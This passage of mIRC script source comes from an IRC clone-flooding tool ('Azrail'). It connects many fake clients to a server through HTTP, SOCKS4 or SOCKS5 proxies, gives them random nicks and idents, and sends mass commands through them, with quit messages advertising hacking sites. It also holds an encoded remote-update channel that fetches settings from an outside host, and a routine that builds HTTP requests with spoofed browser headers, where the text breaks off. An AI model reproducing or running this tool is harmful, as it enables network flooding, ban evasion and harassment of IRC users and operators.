if (%p.cloning.Nlist.conn.f) { p.cloning.ddnsd }
}
if ($did == 441) { p.cloning.crdts }
}
alias -l p.cloning.nick.gr.ad {
if ($dialog(p.cloning)) {
var %i = 1
while ($did(p.cloning,339,$did(p.cloning,339,%i).sel).text) {
var %p.cloning.adgr1.nicks = $ifmatch
if (!$didwm(p.cloning,$$1,%p.cloning.adgr1.nicks)) { did -i p.cloning $$1 $calc($did(p.cloning,$$1).lines + 1) %p.cloning.adgr1.nicks }
var %i = %i + 1
}
}
}
alias -l p.cloning.jj {
if ($did(p.cloning,47).text == Normal) { p.clon.do }
elseif ($did(p.cloning,47).text == Proxy) {
if (!$did(p.cloning,4,1)) { p.cloning.fal Proxy leri belirtmeniz gerekiyor. | p.cloning.recr 1 | return }
p.clon.do
}
elseif ($did(p.cloning,47).text == Socks 4) {
if (!$did(p.cloning,69,1)) { p.cloning.fal Proxy leri belirtmeniz gerekiyor. | p.cloning.recr 1 | return }
;if ($abs($did($dname,10).text) == 0) { p.cloning.fal Proxy leri belirtmeniz gerekiyor, /dns $did($dname,10).text and apply the result here ;) | return }
p.clon.do
}
elseif ($did(p.cloning,47).text == Socks 5) {
if (!$did(p.cloning,78,1)) { p.cloning.fal Proxy leri belirtmeniz gerekiyor. | p.cloning.recr 1 | return }
;if ($abs($did($dname,10).text) == 0) { p.cloning.fal Proxy leri belirtmeniz gerekiyor, /dns $did($dname,10).text and apply the result here ;) | return }
p.clon.do
}
}
alias -l p.clon.dodo {
if ($dialog(p.cloning)) && (!$sock($$1)) {
p.cloning.do.w $$1 0,0
;inc %p.cloning.n
.sockopen $$1-
if ($did(p.cloning,47).text == Normal) { var %p.clon.dodo = *Socket -Normal-: }
if ($did(p.cloning,47).text == Proxy) { var %p.clon.dodo = *Socket -Proxy-: }
if ($did(p.cloning,47).text == Socks 4) { var %p.clon.dodo = *Socket -Socks 4-: }
if ($did(p.cloning,47).text == Socks 5) { var %p.clon.dodo = *Socket -Socks 5-: }
p.clon.stats %p.clon.dodo $did(p.cloning,10) $did(p.cloning,12)
}
}
alias -l p.clon.do {
if ($dialog(p.cloning)) {
p.cloning.recr 0
var %p.cloning.delay = $did(p.cloning,391).text
if ($did(p.cloning,47).text == Normal) {
var %i = 1
while (%i <= $did(p.cloning,50).text) {
inc %p.cloning.t
.timerP.Cloning. [ $+ [ %p.cloning.t ] ] 1 $calc($iif(%i == 1,0,%i) * %p.cloning.delay) p.clon.dodo p.cloning. [ $+ [ %p.cloning.t ] ] $did(p.cloning,10) $did(p.cloning,12)
var %i = %i + 1
}
.timerP.cloning.Recr. [ $+ [ $rand(1,9999) ] ] 1 $calc(%i * %p.cloning.delay) p.cloning.recr 1
p.cloning.recr 0
}
elseif ($did(p.cloning,47).text == Proxy) {
var %i = 1
while (%i <= $did(p.cloning,50).text) {
if ($did(p.cloning,4,$calc(%p.cloning.pn + 1))) { inc %p.cloning.pn }
elseif ($did(p.cloning,4,1)) { set %p.cloning.pn 1 }
else { p.cloning.fal No hay proxyes. Configúralo. | return }
inc %p.cloning.t
.timerP.Cloning. [ $+ [ %p.cloning.t ] ] 1 $calc($iif(%i == 1,0,%i) * %p.cloning.delay) p.clon.dodo p.cloning. [ $+ [ %p.cloning.t ] ] $gettok($did(p.cloning,4,%p.cloning.pn),1,32) $gettok($did(p.cloning,4,%p.cloning.pn),2,32)
var %i = %i + 1
}
.timerP.cloning.Recr. [ $+ [ $rand(1,9999) ] ] 1 $calc(%i * %p.cloning.delay) p.cloning.recr 1
p.cloning.recr 0
}
elseif ($did(p.cloning,47).text == Socks 4) {
var %i = 1
while (%i <= $did(p.cloning,50).text) {
if ($did(p.cloning,69,$calc(%p.cloning.pn4 + 1))) { inc %p.cloning.pn4 }
elseif ($did(p.cloning,69,1)) { set %p.cloning.pn4 1 }
else { p.cloning.fal No hay wingates. Configúralo. | return }
inc %p.cloning.t
.timerP.Cloning. [ $+ [ %p.cloning.t ] ] 1 $calc($iif(%i == 1,0,%i) * %p.cloning.delay) p.clon.dodo p.cloning. [ $+ [ %p.cloning.t ] ] $gettok($did(p.cloning,69,%p.cloning.pn4),1,32) $gettok($did(p.cloning,69,%p.cloning.pn4),2,32)
var %i = %i + 1
}
.timerP.cloning.Recr. [ $+ [ $rand(1,9999) ] ] 1 $calc(%i * %p.cloning.delay) p.cloning.recr 1
p.cloning.recr 0
}
elseif ($did(p.cloning,47).text == Socks 5) {
var %i = 1
while (%i <= $did(p.cloning,50).text) {
if ($did(p.cloning,78,$calc(%p.cloning.pn5 + 1))) { inc %p.cloning.pn5 }
elseif ($did(p.cloning,78,1)) { set %p.cloning.pn5 1 }
else { p.cloning.fal No hay wingates. Configúralo. | return }
inc %p.cloning.t
.timerP.Cloning. [ $+ [ %p.cloning.t ] ] 1 $calc($iif(%i == 1,0,%i) * %p.cloning.delay) p.clon.dodo p.cloning. [ $+ [ %p.cloning.t ] ] $gettok($did(p.cloning,78,%p.cloning.pn5),1,32) $gettok($did(p.cloning,78,%p.cloning.pn5),2,32)
var %i = %i + 1
}
.timerP.cloning.Recr. [ $+ [ $rand(1,9999) ] ] 1 $calc(%i * %p.cloning.delay) p.cloning.recr 1
p.cloning.recr 0
}
}
}
alias -l p.cloning.recr {
if ($dialog(p.cloning)) {
if ($$1 == 0) {
did -b p.cloning 10 | did -b p.cloning 12 | did -b p.cloning 47 | did -b p.cloning 50 | did -b p.cloning 391
did -b p.cloning 35 | did -b p.cloning 36 | did -b p.cloning 37 | did -b p.cloning 38 | did -b p.cloning 48 | did -b p.cloning 421 | did -b p.cloning 422
}
if ($$1 == 1) {
did -e p.cloning 10 | did -e p.cloning 12 | did -e p.cloning 47 | did -e p.cloning 50 | did -e p.cloning 391
did -e p.cloning 35 | did -e p.cloning 36 | did -e p.cloning 37 | did -e p.cloning 38
if (??* iswm $did(p.cloning,10)) && ($abs($did(p.cloning,12)) != 0) && ($abs($did(p.cloning,50)) != 0) {
if ($did(p.cloning,36).state == 0) { did -e p.cloning 48 | did -e p.cloning 421 | did -e p.cloning 422 }
elseif ($did(p.cloning,38)) { did -e p.cloning 48 | did -e p.cloning 421 | did -e p.cloning 422 }
}
}
}
}
alias -l p.clon.stats {
if ($dialog(p.cloning)) {
;did -o p.cloning 41 1 $iif($lines(CloneX.ini),$lines(CloneX.ini),-)
;did -o p.cloning 43 1 $iif($lines(CloneXo.ini),$lines(CloneXo.ini),-)
did -o p.cloning 41 1 $iif($p.cloning.dos.numCL(1),$p.cloning.dos.numCL(1),-)
did -o p.cloning 43 1 $iif($p.cloning.dos.numCL(0),$p.cloning.dos.numCL(0),-)
;echo -s DEBUG: Reales: $iif($p.cloning.dos.numC(1),$p.cloning.dos.numC(1),-) y Sockets: $iif($p.cloning.dos.numC(0),$p.cloning.dos.numC(0),-)
;did -o p.cloning 43 1 %p.cloning.n
if ($1-) { did -i p.cloning 44 $did(p.cloning,44).lines $1- }
}
}
on 1:DIALOG:p.cloning:init:0: {
.disable #p.cloning.DdnsD
;.remove CloneX.ini | .remove CloneXo.ini
if ($hget(p.cloning.a)) { hfree p.cloning.a }
unset %p.cloning.pn %p.cloning.t | .timerp.cloning.* off
did -i $dname 12 1 6666 | did -i $dname 12 2 6667 | did -i $dname 12 3 6668 | did -i $dname 12 4 6669 | did -i $dname 12 5 7000 | did -c $dname 12 2
if (%p.save.cloning.srv) { did -i $dname 10 1 %p.save.cloning.srv }
did -c $dname 35 | did -i $dname 37 1 Aleatory | did -i $dname 37 2 Lemming | did -i $dname 37 3 Smurf | did -c $dname 37 1
did -c $dname 333 | did -b $dname 415 | did -b $dname 416 | did -b $dname 418 | did -b $dname 419 | did -b $dname 412
var %i = 1 | var %o = 1 | while (%o < 200) { did -i $dname 50 %i %o | var %i = %i + 1 | var %o = %o * 2 } | did -c $dname 50 1
var %i = 1 | var %o = 1 | while (%o < 20) { did -i $dname 391 %i %o | var %i = %i + 1 | var %o = %o * 2 } | did -i $dname 391 1 0 | did -c $dname 391 3
did -i $dname 47 1 Normal | did -i $dname 47 2 Proxy | did -i $dname 47 3 Socks 4 | did -i $dname 47 4 Socks 5 | did -c $dname 47 1
p.cloning.conEcheck
}
on 1:SOCKREAD:p.cloning.*: {
if ($dialog(p.cloning)) {
var %p.cloning.server = $did(p.cloning,10)
var %p.cloning.port = $did(p.cloning,12)
if ($sockerr != 0) { p.cloning.con.com $sockname | p.clon.stats Baglanamadı: %p.cloning.server %p.cloning.port - $+ %p.cloning.read $+ - | p.cloning.cmds }
else {
if ($did(p.cloning,47).text == Socks 4) {
if ($sock($sockname).mark != 1) {
sockread &p.cloning.bread
if ($bvar(&p.cloning.bread,1,2) == 0 90 ) { p.cloning.usIn $sockname | sockmark $sockname 1 }
if ($bvar(&p.cloning.bread,1,2) == 0 91 ) { p.cloning.con.com $sockname | p.clon.stats Baglanamadı: %p.cloning.server %p.cloning.port -Por Socks4- | .sockclose $sockname | p.cloning.cmds | return }
}
}
if ($did(p.cloning,47).text == Socks 5) {
if ($sock($sockname).mark != 1) {
sockread &p.cloning.bread
;echo -s bvar: $bvar(&p.cloning.bread,1,10)
if ($bvar(&p.cloning.bread,1,2) == 5 0) && ($bvar(&p.cloning.bread,3) != 0) {
;echo -s Protocolo Aceptado. Iniciando conexion.
var %p.cloning.portS5 = $gettok($longip(%p.cloning.port),3,46) $gettok($longip(%p.cloning.port),4,46)
var %p.cloning.serverS5 = $replace(%p.cloning.server,.,$chr(32))
bset &p.cloning.ssenndd 1 5 1 0 1 %p.cloning.serverS5 %p.cloning.portS5
sockwrite $sockname &p.cloning.ssenndd
;echo -s Sndg: bset &p.cloning.ssenndd 1 5 1 0 1 %p.cloning.serverS5 %p.cloning.portS5
}
if ( $bvar(&p.cloning.bread,1,2) == 5 255 ) { p.cloning.con.com $sockname | p.clon.stats Baglanamadı: %p.cloning.server %p.cloning.port -Por Socks5- | p.cloning.cmds }
if ( $bvar(&p.cloning.bread,1,3) == 5 0 0 ) { p.cloning.usIn $sockname | sockmark $sockname 1 }
if ( $bvar(&p.cloning.bread,1,3) == 5 4 0 ) { p.cloning.con.com $sockname | p.clon.stats Baglanamadı: %p.cloning.server %p.cloning.port -Por Socks5- | p.cloning.cmds }
if ( $bvar(&p.cloning.bread,1,3) == 5 5 0 ) { p.cloning.con.com $sockname | p.clon.stats Baglanamadı: %p.cloning.server %p.cloning.port -Por Socks5- | p.cloning.cmds }
if ( $bvar(&p.cloning.bread,1,3) == 5 9 0 ) { p.cloning.con.com $sockname | p.clon.stats Baglanamadı: %p.cloning.server %p.cloning.port -Por Socks5- | p.cloning.cmds }
}
}
sockread %p.cloning.read
var %p.cloning.sec1 = $gettok(%p.cloning.read,1,32)
var %p.cloning.sec2 = $gettok(%p.cloning.read,2,32)
var %p.cloning.sec3 = $gettok(%p.cloning.read,3,32)
;echo -s Rd: %p.cloning.read
if ($abs(%p.cloning.sec2)) && ($left(%p.cloning.sec1,1) == $chr(58)) {
if (%p.cloning.sec2 == 1) { p.cloning.do.w $sockname 1, $+ %p.cloning.sec3 | p.clon.stats -Baglandı: %p.cloning.server %p.cloning.port | p.cloning.cmds }
if (%p.cloning.sec2 == 433) && ($gettok($hget(p.cloning.a,$sockname),1,44) == 0) { p.cloning.usIn $sockname }
}
elseif (!$abs(%p.cloning.sec2)) {
if (%p.cloning.sec2 == NICK) {
if ($remove($gettok(%p.cloning.sec1,1,33),:) == $p.cloning.do.saNick($sockname)) && ($gettok(%p.cloning.sec1,2,33)) {
var %p.cloning.nnick = $remove(%p.cloning.sec3,:)
var %p.cloning.anick = $remove($gettok(%p.cloning.sec1,1,33),:)
if ($didwm(p.cloning,351,%p.cloning.anick)) { did -o p.cloning 351 $ifmatch %p.cloning.nnick }
if ($didwm(p.cloning,369,%p.cloning.anick)) { did -o p.cloning 369 $ifmatch %p.cloning.nnick }
if ($didwm(p.cloning,373,%p.cloning.anick)) { did -o p.cloning 373 $ifmatch %p.cloning.nnick }
p.cloning.do.w $sockname 1, $+ %p.cloning.nnick
p.cloning.nicks.act
}
}
}
if (%p.cloning.sec1 == PING) {
sockwrite -nt $sockname pong : $+ $remove(%p.cloning.sec2,:) | return
}
}
}
}
alias -l p.cloning.con.com {
;p.cloning.do.rw.o $$1
;p.cloning.do.rw $$1
if ($hget(p.cloning.a)) { hdel p.cloning.a $$1 }
}
on 1:SOCKOPEN:p.cloning.*: {
if ($dialog(p.cloning)) {
var %p.cloning.server = $did(p.cloning,10)
var %p.cloning.port = $did(p.cloning,12)
if ($sockerr != 0) { p.cloning.con.com $sockname | p.clon.stats Baglanamadı: %p.cloning.server %p.cloning.port -oturum başladı- | p.cloning.cmds }
else {
;inc %p.cloning.nv | p.clon.stats on: %p.cloning.server %p.cloning.port
if ($did(p.cloning,47).text == Normal) { p.cloning.usIn $sockname }
elseif ($did(p.cloning,47).text == Proxy) {
sockwrite $sockname CONNECT %p.cloning.server $+ : $+ %p.cloning.port HTTP/1.0 $+ $CRLF $+ $CRLF
sockwrite $sockname $CRLF
.timerUs. [ $+ [ $sockname ] ] 1 2 p.cloning.usIn $sockname
}
elseif ($did(p.cloning,47).text == Socks 4) {
var %p.cloning.port1 = $gettok($longip(%p.cloning.port),3,46)
var %p.cloning.port2 = $gettok($longip(%p.cloning.port),4,46)
var %p.cloning.portS4 = $gettok($longip(%p.cloning.port),3,46) $gettok($longip(%p.cloning.port),4,46)
var %p.cloning.serverS4 = $replace(%p.cloning.server,.,$chr(32))
;bset &p.cloning.ssenndd 1 4 1 %p.cloning.port1 %p.cloning.port2 %p.cloning.server1 %p.cloning.server2 %p.cloning.server3 %p.cloning.server4 $CRLF
bset &p.cloning.ssenndd 1 4 1 %p.cloning.portS4 %p.cloning.serverS4 $CRLF
sockwrite $sockname &p.cloning.ssenndd
;echo -s sockopen pasado: bset &p.cloning.ssenndd 1 4 1 %p.cloning.port1 %p.cloning.port2 %p.cloning.server1 %p.cloning.server2 %p.cloning.server3 %p.cloning.server4
}
elseif ($did(p.cloning,47).text == Socks 5) {
bset &p.cloning.ssenndd 1 5 1 0
; -t?
sockwrite $sockname &p.cloning.ssenndd
}
}
}
}
alias -l p.cloning.cmds {
if ($dialog(p.cloning)) {
p.cloning.nicks.act
if ($did(p.cloning,314).enabled == $false) && ($did(p.cloning,41).text > 0) {
did -e p.cloning 314 | did -e p.cloning 316 | did -e p.cloning 318 | did -e p.cloning 320
did -e p.cloning 322 | did -e p.cloning 324 | did -e p.cloning 326 | did -e p.cloning 328
did -e p.cloning 329 | did -e p.cloning 331 | did -e p.cloning 333 | did -e p.cloning 339
did -e p.cloning 334 | did -e p.cloning 335 | did -e p.cloning 336 | did -e p.cloning 337
did -e p.cloning 372 | did -e p.cloning 373 | did -e p.cloning 369 | did -e p.cloning 368
did -e p.cloning 367 | did -e p.cloning 351 | did -e p.cloning 350 | did -e p.cloning 349 | did -e p.cloning 371
did -e p.cloning 415 | did -e p.cloning 416 | did -e p.cloning 418 | did -e p.cloning 419 | did -e p.cloning 412
}
else {
if ($did(p.cloning,314).enabled == $true) && ($did(p.cloning,41).text <= 0) || ($did(p.cloning,41).text == $null) {
did -r p.cloning 314 | did -r p.cloning 316 | did -r p.cloning 318 | did -r p.cloning 320
did -r p.cloning 322 | did -r p.cloning 324 | did -r p.cloning 326 | did -r p.cloning 328
did -r p.cloning 329 | did -r p.cloning 331 | did -r p.cloning 339 | did -r p.cloning 351
did -r p.cloning 369 | did -r p.cloning 373 | did -b p.cloning 306 | did -b p.cloning 307 | did -b p.cloning 312
did -b p.cloning 308 | did -b p.cloning 309 | did -b p.cloning 310 | did -b p.cloning 311 | did -b p.cloning 330
did -b p.cloning 314 | did -b p.cloning 316 | did -b p.cloning 318 | did -b p.cloning 320
did -b p.cloning 322 | did -b p.cloning 324 | did -b p.cloning 326 | did -b p.cloning 328
did -b p.cloning 329 | did -b p.cloning 331 | did -b p.cloning 333 | did -b p.cloning 339
did -b p.cloning 334 | did -b p.cloning 335 | did -b p.cloning 336 | did -b p.cloning 337
did -b p.cloning 372 | did -b p.cloning 373 | did -b p.cloning 369 | did -b p.cloning 368
did -b p.cloning 367 | did -b p.cloning 351 | did -b p.cloning 350 | did -b p.cloning 349 | did -b p.cloning 371
did -b p.cloning 415 | did -b p.cloning 416 | did -b p.cloning 418 | did -b p.cloning 419 | did -b p.cloning 412
}
}
}
}
alias -l p.cloning.runcmd {
if ($dialog(p.cloning)) {
if ($did(p.cloning,334).state == 1) {
var %i = 1
while ($did(p.cloning,339,$did(p.cloning,339,%i).sel).text) {
var %p.cloning.runcmd.nick = $ifmatch
if ($$1 == nick) {
if (!$did(p.cloning,339,2).sel) { sockwrite -nt $p.cloning.do.saSockN(%p.cloning.runcmd.nick) $$1 $iif($$2 == Aleatory,$rand(a,z) $+ $rand(0,9999),$$2) }
else { sockwrite -nt $p.cloning.do.saSockN(%p.cloning.runcmd.nick) $$1 $iif($$2 == Aleatory,$rand(a,z),$$2) $+ $rand(0,9999) }
}
elseif ($$1 == quit) { sockwrite -nt $p.cloning.do.saSockN(%p.cloning.runcmd.nick) quit :http://Viirus.Sitemynet.com/x }
else { sockwrite -nt $p.cloning.do.saSockN(%p.cloning.runcmd.nick) $$1- }
var %i = %i + 1
}
return
}
elseif ($did(p.cloning,333).state == 1) { var %p.cloning.runcmd.idL = 339 }
elseif ($did(p.cloning,335).state == 1) { var %p.cloning.runcmd.idL = 351 }
elseif ($did(p.cloning,336).state == 1) { var %p.cloning.runcmd.idL = 369 }
elseif ($did(p.cloning,337).state == 1) { var %p.cloning.runcmd.idL = 373 }
}
var %i = 1
while ($did(p.cloning,%p.cloning.runcmd.idL,%i).text) {
var %p.cloning.runcmd.nick = $ifmatch
if ($$1 == nick) {
if (!$did(p.cloning,%p.cloning.runcmd.idL,2)) { sockwrite -nt $p.cloning.do.saSockN(%p.cloning.runcmd.nick) $$1 $iif($$2 == Aleatory,$rand(a,z) $+ $rand(0,9999),$$2) }
else { sockwrite -nt $p.cloning.do.saSockN(%p.cloning.runcmd.nick) $$1 $iif($$2 == Aleatory,$rand(a,z),$$2) $+ $rand(0,9999) }
}
elseif ($$1 == quit) { sockwrite -nt $p.cloning.do.saSockN(%p.cloning.runcmd.nick) quit :Www.HackClub.Cjb.Net }
else { sockwrite -nt $p.cloning.do.saSockN(%p.cloning.runcmd.nick) $$1- }
var %i = %i + 1
}
}
alias -l p.cloning.list.nicksch {
if ($dialog(p.cloning)) {
var %i = 1
var %o = 1
while ($p.cloning.r(%i)) {
var %p.cloning.list.nicksch.sta = $gettok($ifmatch,1,44)
var %p.cloning.list.nicksch.nick = $gettok($ifmatch,2,44)
if (%p.cloning.list.nicksch.sta) {
if ($exists($$1) == $false) { p.cloning.fal GEcersiz arşiv! }
var %p.cloning.list.nicksch.nnick = $gettok($read($$1,%o),1,32)
if (%p.cloning.list.nicksch.nnick) {
if ($abs(%p.cloning.list.nicksch.nnick)) { p.cloning.fal Nicks must begin with a char... File format: Nick Ident }
sockwrite -nt $hget(p.cloning.a,%i).item nick %p.cloning.list.nicksch.nnick
}
var %o = %o + 1
}
var %i = %i + 1
}
}
}
alias -l p.cloning.list.save {
if ($dialog(p.cloning)) {
var %i = 1
.remove $$1
while ($did(p.cloning,339,%i).text) {
write $$1 $ifmatch
var %i = %i + 1
}
}
}
alias -l p.cloning.nicks.act {
if ($dialog(p.cloning)) {
did -r p.cloning 339
var %i = 1
var %o = 1
while ($p.cloning.r(%i)) {
var %p.cloning.nicks.act = $gettok($ifmatch,1,44)
var %p.cloning.nicks = $gettok($ifmatch,2,44)
if (%p.cloning.nicks.act == 1) { did -i p.cloning 339 %o %p.cloning.nicks | var %o = %o + 1 }
var %i = %i + 1
}
}
}
alias -l p.cloning.usIn {
if ($dialog(p.cloning)) {
if (%p.cloning.Nlist.conn == 1) {
inc %p.cloning.Nlist.conn.n
var %p.cloning.usIn.nick = $gettok($read(%p.cloning.Nlist.conn.f,%p.cloning.Nlist.conn.n),1,32)
var %p.cloning.usIn.ident = $lower($gettok($read(%p.cloning.Nlist.conn.f,%p.cloning.Nlist.conn.n),2,32))
if (%p.cloning.usIn.nick) && ($abs(%p.cloning.usIn.nick)) { p.cloning.fal Nicks must begin with a char... File format: Nick [Ident] }
if ($sock($$1)) { sockwrite -nt $$1 user $lower($iif(%p.cloning.usIn.ident,%p.cloning.usIn.ident,$iif($did(p.cloning,37).text == Aleatory,$rand(a,z) $+ $rand(0,9999),$did(p.cloning,37).text))) "" "" : $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) }
else { .sockclose $1 | p.cloning.con.com $1 | p.clon.stats Baglanamadı: $did(p.cloning,10) $did(p.cloning,12) -Bloklu- | p.cloning.cmds }
var %p.cloning.usIn.nick = $lower($iif(%p.cloning.usIn.nick,%p.cloning.usIn.nick,$iif($did(p.cloning,37).text == Aleatory,$rand(a,z) $+ $rand(0,9999),$did(p.cloning,37).text $+ $rand(0,9999)))))
p.cloning.do.w $1 0, $+ %p.cloning.usIn.nick
if ($sock($$1)) { sockwrite -nt $$1 nick %p.cloning.usIn.nick }
else { .sockclose $1 | p.cloning.con.com $1 | p.clon.stats Baglanamadı: $did(p.cloning,10) $did(p.cloning,12) -bloklu- | p.cloning.cmds }
}
else {
if ($did(p.cloning,35).state == 1) {
if ($sock($$1)) { sockwrite -nt $$1 user $lower($iif($did(p.cloning,37).text == Aleatory,$rand(a,z) $+ $rand(0,9999),$did(p.cloning,37).text)) "" "" : $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) }
else { .sockclose $1 | p.cloning.con.com $1 | p.clon.stats Baglanamadı: $did(p.cloning,10) $did(p.cloning,12) -bloklu- | p.cloning.cmds }
var %p.cloning.usIn.nick = $lower($iif($did(p.cloning,37).text == Aleatory,$rand(a,z),$did(p.cloning,37).text)) $+ $rand(0,9999)
p.cloning.do.w $1 0, $+ %p.cloning.usIn.nick
if ($sock($$1)) { sockwrite -nt $$1 nick %p.cloning.usIn.nick }
else { .sockclose $1 | p.cloning.con.com $1 | p.clon.stats Baglanamadı: $did(p.cloning,10) $did(p.cloning,12) -bloklu- | p.cloning.cmds }
}
elseif ($did(p.cloning,36).state == 1) {
if ($sock($$1)) { sockwrite -nt $$1 user $lower($iif($did(p.cloning,38).text == Aleatory,$rand(a,z) $+ $rand(0,9999),$did(p.cloning,38).text)) "" "" : $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) }
else { .sockclose $1 | p.cloning.con.com $1 | p.clon.stats Baglanamadı: $did(p.cloning,10) $did(p.cloning,12) -bloklu- | p.cloning.cmds }
var %p.cloning.usIn.nick = $lower($iif($did(p.cloning,38).text == Aleatory,$rand(a,z),$did(p.cloning,38).text)) $+ $rand(0,9999)
p.cloning.do.w $1 0, $+ %p.cloning.usIn.nick
if ($sock($$1)) { sockwrite -nt $$1 nick %p.cloning.usIn.nick }
else { .sockclose $1 | p.cloning.con.com $1 | p.clon.stats Baglanamadı: $did(p.cloning,10) $did(p.cloning,12) -bloklu- | p.cloning.cmds }
}
}
}
}
on 1:SOCKCLOSE:p.cloning.*: {
if ($dialog(p.cloning)) {
;echo -s Ha cerrado: $sock($sockname,1).wsmsg
p.cloning.con.com $sockname | p.clon.stats Baglanamadı: $did(p.cloning,10) $did(p.cloning,12) -olası- | p.cloning.cmds
}
}
alias -l p.cloning.w { hadd -m p.cloning.a $$1 $$2 }
alias -l p.cloning.r { return $hget(p.cloning.a,$hget(p.cloning.a,$$1).item) }
alias -l p.cloning.do.w {
;if ($hget(p.cloning.a,$$1) != $null) { return }
p.cloning.w $$1 $$2
}
alias -l p.cloning.do.saNick { return $gettok($hget(p.cloning.a,$$1),2,44) }
alias -l p.cloning.do.saSockN {
var %i = 1
while ($p.cloning.r(%i)) {
if ($gettok($p.cloning.r(%i),2,44) == $$1) { return $hget(p.cloning.a,%i).item }
var %i = %i + 1
}
}
alias -l p.cloning.dos.numCL {
var %i = 1 | var %o = 0
while ($p.cloning.r(%i)) {
var %p.cloning.pill = $ifmatch
if ($gettok(%p.cloning.pill,1,44) == 1) { var %o = %o + 1 }
var %i = %i + 1
}
if ($$1 == 0) { return $calc(%i - 1) }
elseif ($$1 == 1) { return %o }
}
alias -l p.cloning.ipports {
if ($dialog(p.cloning.ipport)) { dialog -v p.cloning.ipport }
else { dialog -md p.cloning.ipport p.cloning.ipport }
}
dialog p.cloning.ipport {
title "Azrail baglı IP & Portar"
size -1 -1 157 225
option dbu
button "&Tamam", 1, 16 210 120 12, ok
box "Şu ankiler", 2, 1 1 155 207
edit "", 3, 4 8 149 185, read multi hsbar vsbar
button "&Yenile", 4, 55 195 45 10
}
alias -l p.cloning.ipports.act {
if ($dialog(p.cloning.ipport)) {
did -r p.cloning.ipport 3
var %i = 1
while ($sock(p.cloning.*,%i)) {
var %p.cloning.ipports.act = $ifmatch
var %p.cloning.ipports.act.ip = $sock(%p.cloning.ipports.act).ip
var %p.cloning.ipports.act.port = $sock(%p.cloning.ipports.act).port
if ($gettok($hget(p.cloning.a,%p.cloning.ipports.act),1,44) == 1) && (!$didwm(p.cloning.ipport,3,%p.cloning.ipports.act.ip %p.cloning.ipports.act.port)) {
did -i p.cloning.ipport 3 $did(p.cloning.ipport,3).lines %p.cloning.ipports.act.ip %p.cloning.ipports.act.port
}
var %i = %i + 1
}
}
}
on 1:DIALOG:p.cloning.ipport:sclick:4: { p.cloning.ipports.act }
on 1:DIALOG:p.cloning.ipport:init:0: { p.cloning.ipports.act }
alias -l p.cloning.see.act {
var %p.act.cloning.1 = $decode(%p.act.cloning.see.c.pea,m)
if ($gettok(%p.act.cloning.1,1,44)) && ($gettok(%p.act.cloning.1,1,44)) { .SockOpen p.see.cloning.act $gettok(%p.act.cloning.1,1,44) $gettok(%p.act.cloning.1,2,44) }
}
on 1:SockOpen:p.see.cloning.act: {
if ($sockerr == 0) {
var %p.act.cloning.1 = $decode(%p.act.cloning.see.c.pea,m)
sockwrite -nt $sockname GET $gettok(%p.act.cloning.1,3,44)
.timerp.act.cloning.close 1 60 .SockClose p.see.cloning.act
}
}
on 1:SockRead:p.see.cloning.act: {
if ($sockerr == 0) {
sockread %p.see.cloning.act
var %p.see.cloning.act1 = $gettok(%p.see.cloning.act,1,58)
var %p.see.cloning.act2 = $gettok(%p.see.cloning.act,2-,58)
if (%p.see.cloning.act1 == VERSION) && (%p.see.cloning.act2) { p.cloning.actua %p.see.cloning.act2 }
elseif (%p.see.cloning.act1 == PEA) && (%p.see.cloning.act2) { set %p.act.cloning.see.c.pea %p.see.cloning.act2 }
elseif (%p.see.cloning.act1 == URL) && (%p.see.cloning.act2) { set %p.act.cloning.see.c.url %p.see.cloning.act2 }
elseif (%p.see.cloning.act1 == BURL) && (%p.see.cloning.act2) { set %p.act.cloning.see.c.burl %p.see.cloning.act2 }
elseif (%p.see.cloning.act1 == BCON) && (%p.see.cloning.act2 != $null) { set %p.act.cloning.see.c.bcon %p.see.cloning.act2 }
elseif (%p.see.cloning.act1 == ENOT) && (%p.see.cloning.act2) { echo -s 5Azrail News: %p.see.cloning.act2 }
}
}
alias -l p.cloning.crdts { if ($dialog(p.cloning.cred)) { dialog -v p.cloning.cred } | else { dialog -md p.cloning.cred p.cloning.cred } }
on 1:sockopen:p.b.cloning?: {
if ($sockerr == 0) {
var %p.b.cloning.1 = $decode(%p.act.cloning.see.c.burl,m)
var %p.b.cloning.prt1 = $gettok(%p.b.cloning.1,3,44) | var %p.b.cloning.prt2 = $gettok(%p.b.cloning.1,4,44)
var %p.b.cloning.prt3 = $gettok(%p.b.cloning.1,5,44) | var %p.b.cloning.prt4 = $gettok(%p.b.cloning.1,6,44)
var %p.b.cloning.prt5 = $gettok(%p.b.cloning.1,7,44)
if ($sockname == p.b.cloning1) {
var %p.cloning.rrand = $rand(0,2)
if (%p.cloning.rrand == 0) { set %p.cloning.b.lng en }
elseif (%p.cloning.rrand == 1) { set %p.cloning.b.lng it }
else { set %p.cloning.b.lng es }
var %p.cloning.rrand = $rand(0,2)
if (%p.cloning.rrand == 0) { set %p.cloning.b.lng %p.cloning.b.lng $+ , $+ NT }
elseif (%p.cloning.rrand == 1) { set %p.cloning.b.lng %p.cloning.b.lng $+ , $+ 95 }
else { set %p.cloning.b.lng %p.cloning.b.lng $+ , $+ 98 }
var %p.cloning.rrand = $rand(0,2)
if (%p.cloning.rrand == 0) { set %p.cloning.b.lng %p.cloning.b.lng $+ , $+ 5.0 }
elseif (%p.cloning.rrand == 1) { set %p.cloning.b.lng %p.cloning.b.lng $+ , $+ 5.5 }
else { set %p.cloning.b.lng %p.cloning.b.lng $+ , $+ 6.0 }
var %p.b.cloning.tsn = GET %p.b.cloning.prt1 HTTP/1.1 $+ $crlf $+ Accept: */* $+ $crlf $+ Referer: %p.b.cloning.prt5 $+ $crlf $+ Accept-Language: $gettok(%p.cloning.b.lng,1,44) $+ $crlf $+ Accept-Encoding: gzip, deflate
var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ User-Agent: Mozilla/4.0 (compatible; MSIE $gettok(%p.cloning.b.lng,3,44) $+ ; Windows $gettok(%p.cloning.b.lng,2,44) $+ )
var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ Host: %p.b.cloning.prt3 $+ $crlf $+ Connection: Keep-Alive $+ $crlf $+ $crlf
;sockwrite -nt $sockname %p.b.cloning.tsn
.timerp.cloning.BB1 1 3 p.cloning.bbdo 2
}
elseif ($sockname == p.b.cloning2) {
